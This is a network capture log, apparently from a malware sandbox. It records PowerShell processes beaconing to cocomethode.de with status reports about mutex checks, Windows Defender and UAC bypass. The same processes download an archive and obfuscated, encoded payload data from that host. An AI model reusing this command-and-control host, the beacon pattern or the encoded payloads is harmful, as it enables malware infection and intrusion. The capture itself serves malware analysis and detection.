2024-12-11 11:14:30 UTC	1369	IN	Data Raw: 65 52 54 6d 47 75 64 44 4b 55 53 55 47 42 56 6a 57 46 50 6d 6e 76 53 6a 53 4f 53 54 5b 59 57 57 57 4a 4f 57 47 57 5b 49 4b 53 57 56 79 42 54 57 65 31 50 6d 4f 46 57 6a 4b 5b 4c 6c 53 45 58 31 57 46 53 47 47 57 53 6a 30 57 57 54 71 59 54 57 57 6e 55 6d 47 56 62 47 4b 53 60 31 34 42 54 6b 43 56 50 6d 6a 7b 5b 44 4f 6b 53 54 5b 48 57 47 57 46 57 6d 47 57 52 6c 38 53 57 56 69 4a 54 57 65 4e 4c 30 47 74 50 6a 4b 52 64 6d 4b 42 57 33 34 6a 50 6a 35 76 53 6a 4b 4f 53 54 5b 44 56 6b 43 46 63 6d 47 57 55 6a 4b 53 57 56 79 42 54 57 65 6a 50 6d 44 76 53 6a 4b 55 57 54 5b 42 56 6b 43 46 53 47 47 57 53 6a 75 53 57 54 71 76 54 57 57 6e 62 6d 47 59 54 6a 4b 53 63 59 69 42 54 6d 57 56 50 6d 6a 78 5b 44 4f 6d 57 54 5b 48 54 6d 57 46 63 47 57 57 53 6c 34 53 57 57 47 32 54 Data Ascii: eRTmGudDKUSUGBVjWFPmnvSjSOST[YWWWJOWGW[IKSWVyBTWe1PmOFWjK[LlSEX1WFSGGWSj0WWTqYTWWnUmGVbGKS`14BTkCVPmj{[DOkST[HWGWFWmGWRl8SWViJTWeNL0GtPjKRdmKBW34jPj5vSjKOST[DVkCFcmGWUjKSWVyBTWejPmDvSjKUWT[BVkCFSGGWSjuSWTqvTWWnbmGYTjKScYiBTmWVPmjx[DOmWT[HTmWFcGWWSl4SWWG2T
2024-12-11 11:14:30 UTC	1369	IN	Data Raw: 53 60 6a 4b 42 54 6b 4b 31 50 6d 6d 74 5b 44 4f 6a 57 54 5b 44 55 6a 57 46 57 57 57 57 52 6f 4f 53 57 56 69 4e 54 57 65 4e 4c 30 47 75 60 44 4b 52 4c 6a 34 42 57 33 79 46 50 6a 35 76 53 6a 4b 4f 53 54 5b 44 56 6b 43 46 52 30 47 57 53 6f 4b 53 57 59 43 42 54 56 30 76 50 6d 4b 37 60 44 4b 60 53 6a 5b 45 5b 47 57 46 52 57 57 57 53 6a 71 53 57 54 58 76 54 57 57 53 65 30 47 57 63 44 4b 53 56 46 69 42 54 6a 69 4e 50 6d 4b 46 53 6a 4b 55 4c 44 5b 42 58 55 43 46 53 47 57 57 52 6d 57 53 57 56 69 52 54 57 5b 72 54 6d 47 74 63 44 4b 55 53 6a 5b 42 57 44 5b 46 50 30 5b 47 53 6a 69 6a 4c 44 5b 69 57 57 57 4a 62 30 47 57 60 44 4b 53 57 56 79 42 54 57 69 52 50 6d 4f 47 4c 54 4b 55 57 54 5b 42 5b 54 57 46 53 57 5b 57 53 6d 43 6a 4c 44 5b 51 54 57 57 46 65 6d 47 57 55 6d Data Ascii: S`jKBTkK1Pmmt[DOjWT[DUjWFWWWWRoOSWViNTWeNL0Gu`DKRLj4BW3yFPj5vSjKOST[DVkCFR0GWSoKSWYCBTV0vPmK7`DK`Sj[E[GWFRWWWSjqSWTXvTWWSe0GWcDKSVFiBTjiNPmKFSjKULD[BXUCFSGWWRmWSWViRTW[rTmGtcDKUSj[BWD[FP0[GSjijLD[iWWWJb0GW`DKSWVyBTWiRPmOGLTKUWT[B[TWFSW[WSmCjLD[QTWWFemGWUm
2024-12-11 11:14:30 UTC	1369	IN	Data Raw: 53 47 4f 57 53 6a 79 57 57 54 5b 74 54 57 57 4f 65 30 47 56 56 6b 4f 53 63 6a 4b 42 54 6f 71 52 50 6d 65 73 53 6a 4f 6a 60 31 5b 4b 56 55 43 46 57 6c 50 76 52 59 65 53 57 56 69 78 54 57 65 4a 50 6d 47 75 64 44 4b 53 4c 44 5b 42 57 55 43 46 50 33 4f 47 53 6a 69 57 57 54 5b 69 54 57 57 4a 62 30 47 57 58 7b 43 53 57 56 79 42 54 57 65 6a 50 6d 47 37 50 6a 4b 56 63 6c 53 45 58 54 57 46 52 46 44 76 53 6c 75 53 57 54 54 7b 54 57 57 47 4e 57 43 55 52 59 43 4b 50 7b 47 58 58 57 62 30 60 33 48 7b 5b 47 53 6a 52 46 79 7b 56 6d 4f 42 52 56 47 59 54 6c 75 60 57 7b 53 6f 52 54 4c 79 56 47 6d 59 63 45 43 51 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 5b 45 4b 6e 62 46 4b 49 57 56 38 4a 52 47 4b 34 5b 47 65 Data Ascii: SGOWSjyWWT[tTWWOe0GVVkOScjKBToqRPmesSjOj`1[KVUCFWlPvRYeSWVixTWeJPmGudDKSLD[BWUCFP3OGSjiWWT[iTWWJb0GWX{CSWVyBTWejPmG7PjKVclSEXTWFRFDvSluSWTT{TWWGNWCURYCKP{GXXWb0`3H{[GSjRFy{VmOBRVGYTlu`W{SoRTLyVGmYcECQe{CMRTOC[1mEPVeKP1GNP3mC[1mEPVeKP1Go[EKnbFKIWV8JRGK4[Ge

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.30	49819	172.67.128.139	443	8860	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:31 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba12e5825a5750703ef3cef2645c84b2ae HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 85
2024-12-11 11:14:31 UTC	85	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 4a 6f 62 20 69 73 20 72 75 6e 6e 69 6e 67 2e 20 4a 6f 62 20 49 44 3a 20 31 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 43 68 65 63 6b 20 6d 75 74 65 78 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Job is running. Job ID: 1\"", "\"Check mutext\"", "----------"]
2024-12-11 11:14:32 UTC	1203	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:32 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vQVzQMdWr70U%2BzxcOY31K76eniza3vK3%2Bl4CIZ0Yt6f5x5vrqxkcrWz2PTFVygP%2FAfqseeO3Sbv3Q82%2BLhZeevaw5O%2FC82pwDdG2O0vCpobchFkn%2B63Mio8kDfR9wrNOt7BQaLmCOVkd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=37984&min_rtt=1115&rtt_var=26120&sent=529&recv=787&lost=0&retrans=0&sent_bytes=69904&recv_bytes=696460&delivery_rate=15573333&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050d35ac75bfd3-ATL server-timing: cfL4;desc="?proto=TCP&rtt=45&min_rtt=41&rtt_var=16&sent=9&recv=11&lost=0&retrans=0&sent_bytes=12455&recv_bytes=2383&delivery_rate=1212648148&cwnd=208&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=57&min_rtt=55&rtt_var=17&sent=6&recv=8&lost=0&retrans=0&sent_bytes=11867&recv_bytes=1724&delivery_rate=1190600000&cwnd=33&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:14:32 UTC	849	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 37 33 26 6d 69 6e 5f 72 74 74 3d 32 35 26 72 74 74 5f 76 61 72 3d 33 38 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 37 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 34 37 36 31 26 72 65 63 76 5f 62 79 74 65 73 3d 31 32 37 32 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 32 36 31 39 33 32 30 30 30 30 26 63 77 6e 64 3d 31 31 31 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 35 26 6d Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=73&min_rtt=25&rtt_var=38&sent=5&recv=7&lost=0&retrans=0&sent_bytes=4761&recv_bytes=1272&delivery_rate=2619320000&cwnd=111&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=45&m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.30	49820	172.67.128.139	443	8860	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:32 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba12e5825a5750703ef3cef2645c84b2ae HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 86
2024-12-11 11:14:32 UTC	86	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 4d 75 74 65 78 20 69 73 20 6e 6f 74 20 6c 6f 63 6b 65 64 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 41 56 20 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Mutex is not locked\"", "\"AV Windows Defender\"", "----------"]
2024-12-11 11:14:33 UTC	1199	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:33 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1HHx67EWCLeXqVN3QDFTuL0GQuWdXATwKnGa0Py7ayQv2aEF5CVBz%2FXXJSgKT1DRavRoK6Rju71GpDYa3EJqrJiRr%2FmM3h2XLVng%2FBIgTZ9HGnkNiar2s%2B5P6UDRZCopFzBZG7mcpS3x"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=53957&min_rtt=1094&rtt_var=12880&sent=8172&recv=3796&lost=0&retrans=0&sent_bytes=11530013&recv_bytes=157632&delivery_rate=20463611&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050d3b6aef7cc4-ATL server-timing: cfL4;desc="?proto=TCP&rtt=43&min_rtt=43&rtt_var=21&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=625&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113771&min_rtt=113751&rtt_var=24027&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1030&delivery_rate=33656&cwnd=252&unsent_bytes=0&cid=db25ad02ac08e0ed&ts=849&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.30	49821	172.67.128.139	443	8	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:33 UTC	389	OUT	GET /file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb2478574061f4b658389b7a7e3af43a85c5ecfdccd06bf7c5b886bdbae4ac14dbe3d1d4a64907f793a1a16c53af422f92d9f2cb7175cf67cfe6348ff0758c34fdc8e2257e8a3d657133dc4ebec8eb034 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Connection: Keep-Alive
2024-12-11 11:14:33 UTC	1324	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:33 GMT Content-Type: application/octet-stream Content-Length: 4613 Connection: close content-disposition: attachment; filename=file; filename*=UTF-8''file CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SQugAzvqBm7FL8M1XkOwi%2FVXkveJVrilGq3Yi3melYFz126%2FNR1UsJ1B3gudxLF%2FwDHw3ZvpOgUXPaXoLI3LmIwbwtV34tHJhi3ZTtvUmkZZsLWuJ9MHUF5bG%2F7Z9d2KeSkjMM54n4J8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=47528&min_rtt=1511&rtt_var=12598&sent=569&recv=784&lost=0&retrans=0&sent_bytes=103353&recv_bytes=656725&delivery_rate=7411167&cwnd=253&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050d401b60bd62-ATL server-timing: cfL4;desc="?proto=TCP&rtt=47&min_rtt=41&rtt_var=16&sent=11&recv=13&lost=0&retrans=0&sent_bytes=13455&recv_bytes=3003&delivery_rate=1212648148&cwnd=209&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113826&min_rtt=113728&rtt_var=24066&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1003&delivery_rate=33629&cwnd=252&unsent_bytes=0&cid=c9bd22246a501dc4&ts=580&x=0"
2024-12-11 11:14:33 UTC	45	IN	Data Raw: 50 4b 03 04 14 00 08 00 08 00 17 7e 7c 59 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 00 00 5f 72 65 6c 73 2f 2e 72 65 6c 73 8d 8f 3b 0e Data Ascii: PK~\|Y_rels/.rels;
2024-12-11 11:14:33 UTC	1369	IN	Data Raw: c2 30 10 44 af 62 6d 4f 36 50 20 84 e2 a4 41 48 69 a3 70 00 cb de 38 51 e2 8f 6c f3 bb 3d 2e 28 08 a2 a0 1c ed cc db 99 aa 79 98 85 dd 28 c4 c9 59 0e db a2 04 46 56 3a 35 59 cd e1 d2 9f 37 07 68 ea aa a3 45 a4 ec 88 e3 e4 23 cb 11 1b 39 8c 29 f9 23 62 94 23 19 11 0b e7 c9 e6 cb e0 82 11 29 cb a0 d1 0b 39 0b 4d b8 2b cb 3d 86 4f 06 ac 99 ac 17 41 53 e2 70 77 41 a1 72 f2 6a c8 a6 22 e3 80 b5 8a 83 9f 75 d7 aa dc ad 7f 7a fa e7 b3 1b 86 49 d2 e9 0d fa 51 e0 cb 01 0c eb 0a 57 33 eb 17 50 4b 07 08 4f 8b dd 3c a6 00 00 00 1c 01 00 00 50 4b 03 04 14 00 08 00 08 00 17 7e 7c 59 00 00 00 00 00 00 00 00 00 00 00 00 1c 00 00 00 77 6f 72 64 2f 5f 72 65 6c 73 2f 64 6f 63 75 6d 65 6e 74 2e 78 6d 6c 2e 72 65 6c 73 ad 90 cb 0a c2 30 10 45 7f 25 cc de a6 75 21 22 4d bb 11 Data Ascii: 0DbmO6P AHip8Ql=.(y(YFV:5Y7hE#9)#b#)9M+=OASpwArj"uzIQW3PKO<PK~\|Yword/_rels/document.xml.rels0E%u!"M
2024-12-11 11:14:33 UTC	1369	IN	Data Raw: 56 35 68 53 08 45 46 82 63 f8 51 ea 69 65 82 03 34 48 4c 19 04 b2 e1 01 27 af 91 30 35 5b 05 fc 44 6f ae 4d dd 12 93 d6 5d 9c 4f 1c 06 f9 f8 43 ce 35 2b 16 fa a0 5e dd 05 f5 62 f7 96 c1 0a e7 42 7f 79 1a a7 94 16 84 c7 c7 04 3e 6e e5 32 a0 8c f0 21 2e 2a 09 d1 62 a1 27 96 01 5f 06 d0 52 5a 1b ae 3a ea ef 0d 9a 1a 01 11 2c 27 bb 61 f1 e1 6d a6 f3 4c e7 e3 90 f6 58 75 69 d4 20 77 d0 ee 3d 06 a9 70 7c 48 ea 44 6a a1 42 09 99 e5 b3 1e 18 87 b4 c7 aa 07 de a1 0a 58 3c 50 01 f9 5b 9f 71 78 6c 1c f6 6b dd ec c6 5b ee 61 dd a2 b3 b9 01 65 1a 4a 84 c9 80 cc 80 3c 36 20 13 fc a2 93 24 eb 46 41 cc c8 7a d4 39 74 1d 64 c9 78 f2 15 f7 0c fd 48 04 72 74 e7 68 7d c5 50 70 55 0d c3 d9 66 f9 05 9d 35 74 0b d1 53 9c 07 e7 4d 4d e1 e5 bd 27 b8 ec 17 68 3d 45 6d b1 c3 50 c6 Data Ascii: V5hSEFcQie4HL'05[DoM]OC5+^bBy>n2!.*b'_RZ:,'amLXui w=p\|HDjBX<P[qxlk[aeJ<6 $FAz9tdxHrth}PpUf5tSMM'h=EmP
2024-12-11 11:14:33 UTC	1369	IN	Data Raw: c6 0e 28 95 aa 32 f5 69 5b ee b0 a8 85 af a0 8e 25 f0 07 bc 99 b9 2e 73 dd 38 a4 3d 56 b5 72 15 d2 b1 15 1d d7 1d d4 8b ce e7 c6 65 40 1e 1f 90 7b ff 6e 4b 19 cc 08 16 68 90 f3 d0 73 53 6d 72 d8 62 45 a6 dd 91 70 83 63 56 2a 89 9f 63 ea 32 bd 48 09 bc 24 ec 75 44 97 0e 46 b1 40 1b 83 32 b1 65 62 1b 87 b4 c7 aa 47 e6 a6 ae 83 96 a9 b0 da 4d b4 89 33 9f 65 1c 1e 3f 7b 4a a0 eb 45 7b 6b a8 d6 ad 07 1d c9 68 03 76 89 ae 9a 38 00 69 e7 b8 15 fb 44 e3 41 ac 13 ee 1b c5 a5 8e ae 9c 82 7b f2 e3 06 9b 69 62 ba f1 20 dc 99 b6 be d2 83 4b 43 9d 81 a8 74 74 0e a9 a5 36 7a ba bf 12 b7 fc 64 3e cc 7c 38 0e 69 8f 55 0f dd e2 17 7e 7a c3 37 9b ec d5 65 f4 1d 1d 7d d7 bc 46 2a e3 96 d8 2c d2 1b b2 12 d8 c1 fe ce 7e b3 4c c7 65 71 17 0d 3b f9 d9 98 35 3a 74 bb 02 24 05 4b Data Ascii: (2i[%.s8=Vre@{nKhsSmrbEpcVc2H$uDF@2ebGM3e?{JE{khv8iDA{ib KCtt6zd>\|8iU~z7e}F,~Leq;5:t$K
2024-12-11 11:14:33 UTC	461	IN	Data Raw: 1a 60 6f 2a 97 17 e5 89 23 e7 a8 0c 93 ff 80 4c 51 71 f1 26 db e8 bf 5b 60 39 3b c0 cb 57 58 e7 6e 7c b9 dc 4b f7 05 50 4b 07 08 ff 62 6b ba f3 00 00 00 5d 02 00 00 50 4b 01 02 2d 00 14 00 08 00 08 00 17 7e 7c 59 4f 8b dd 3c a6 00 00 00 1c 01 00 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5f 72 65 6c 73 2f 2e 72 65 6c 73 50 4b 01 02 2d 00 14 00 08 00 08 00 17 7e 7c 59 dc f3 00 c0 b6 00 00 00 96 01 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 df 00 00 00 77 6f 72 64 2f 5f 72 65 6c 73 2f 64 6f 63 75 6d 65 6e 74 2e 78 6d 6c 2e 72 65 6c 73 50 4b 01 02 2d 00 14 00 08 00 08 00 17 7e 7c 59 7b af 0c 1e ab 0b 00 00 e1 ac 00 00 11 00 00 00 00 00 00 00 00 00 00 00 00 00 df 01 00 00 77 6f 72 64 2f 64 6f 63 75 6d 65 6e 74 2e 78 6d 6c 50 4b 01 02 2d 00 Data Ascii: `o*#LQq&[`9;WXn\|KPKbk]PK-~\|YO<_rels/.relsPK-~\|Yword/_rels/document.xml.relsPK-~\|Y{word/document.xmlPK-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.30	49822	172.67.128.139	443	8860	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:33 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba12e5825a5750703ef3cef2645c84b2ae HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 62
2024-12-11 11:14:33 UTC	62	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 30 22 2c 0d 0a 20 20 20 20 22 5c 22 6b 6f 20 63 61 6e 20 62 79 70 61 73 73 20 75 61 63 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "0", "\"ko can bypass uac\"", "----------"]
2024-12-11 11:14:34 UTC	1369	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:34 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l0KWzcVVzuX8pozI0TZ8NIoY9w%2FWbJVAJVDhlC0IjrocKF8PT4jVJcUPwjJs%2Ff%2Buzxvj32NZEFFR5oCh9lxfScuOmyzxZbPrrzOyWhneaGO0jILFgLHADvHjkZfecHiD6vkusFr9bMbB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=46713&min_rtt=1355&rtt_var=13950&sent=5660&recv=3129&lost=0&retrans=0&sent_bytes=7569580&recv_bytes=823784&delivery_rate=22783635&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050d427bb044fc-ATL server-timing: cfL4;desc="?proto=TCP&rtt=44&min_rtt=44&rtt_var=22&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=662&delivery_rate=0&cwnd=225&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=44&min_rtt=44&rtt_var=22&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=650&delivery_rate=0&cwnd=52&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=56&min_rtt=56&rtt_var=28&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=636&delivery_rate=0&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:14:34 UTC	811	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 36 26 6d 69 6e 5f 72 74 74 3d 34 36 26 72 74 74 5f 76 61 72 3d 32 33 26 73 65 6e 74 3d 32 26 72 65 63 76 3d 34 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 36 32 32 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 32 34 39 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 36 34 26 6d 69 6e 5f 72 74 74 3d 36 34 26 72 74 74 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=46&min_rtt=46&rtt_var=23&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=622&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=64&min_rtt=64&rtt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.30	49827	172.67.128.139	443	6008	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:38 UTC	389	OUT	GET /file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Connection: Keep-Alive
2024-12-11 11:14:39 UTC	1313	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:39 GMT Content-Type: application/octet-stream Content-Length: 12116 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f51hhtH9UT7nvIAYtt4bdLowuTr7Ow95c8qVGOETWHqY%2BSiRzFIs7ehx6y3RZzC4%2BNQ%2FBHviX1AVRUI5lUQSOUlqblp3kv9JP9qLqM%2FZf0UgSWHZNMyX1xQtELAixi1D6RmlVExoq%2FYd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=48404&min_rtt=1115&rtt_var=12189&sent=641&recv=974&lost=0&retrans=0&sent_bytes=75351&recv_bytes=870097&delivery_rate=15573333&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050d5f983edd19-ATL server-timing: cfL4;desc="?proto=TCP&rtt=37&min_rtt=37&rtt_var=18&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=620&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113810&min_rtt=113774&rtt_var=24056&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1003&delivery_rate=33636&cwnd=252&unsent_bytes=0&cid=161e900587c8ab8e&ts=801&x=0"
2024-12-11 11:14:39 UTC	56	IN	Data Raw: 25 6c 77 71 64 67 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 Data Ascii: %lwqdg<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/B
2024-12-11 11:14:39 UTC	1369	IN	Data Raw: 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 57 7b 47 72 52 54 4c 79 65 57 71 55 50 56 6d 56 4c 6c 79 30 56 6a 62 34 4c 33 4f 34 50 6a 57 60 57 30 71 72 58 6c 30 52 63 46 4f 71 52 56 65 6c 54 55 43 4d 52 6a 65 72 64 6d 57 74 57 6f 57 68 63 56 79 30 56 6f 6d 43 4e 54 6d 45 54 6c 30 5b 57 32 69 37 56 6d 53 7b 55 6a 4f 75 63 46 30 4b 50 33 65 73 5b 45 4b 72 65 57 71 49 4e 55 4f 6b 4c 47 4b 72 56 6c 30 56 65 57 71 49 57 6f 6d 4b 50 7b 47 30 56 6d 4f 43 60 33 4b 74 57 6f 4f 68 50 33 75 6f 5b 59 62 76 52 31 6d 45 50 56 65 4b 50 30 4b 76 58 7b 47 4a 4c 56 4b 75 4f 59 43 68 63 56 4f 6f 54 47 4f 43 60 33 53 48 52 6b 47 60 57 49 4f 4e 50 33 6d 43 5b 31 6d 45 50 6a 4b 60 53 30 47 31 57 47 69 42 54 56 4f 75 57 6c 30 60 56 44 71 72 Data Ascii: nowdsu\;;GsnlC`rd75Rushof)#W{GrRTLyeWqUPVmVLly0Vjb4L3O4PjW`W0qrXl0RcFOqRVelTUCMRjerdmWtWoWhcVy0VomCNTmETl0[W2i7VmS{UjOucF0KP3es[EKreWqINUOkLGKrVl0VeWqIWomKP{G0VmOC`3KtWoOhP3uo[YbvR1mEPVeKP0KvX{GJLVKuOYChcVOoTGOC`3SHRkG`WIONP3mC[1mEPjK`S0G1WGiBTVOuWl0`VDqr
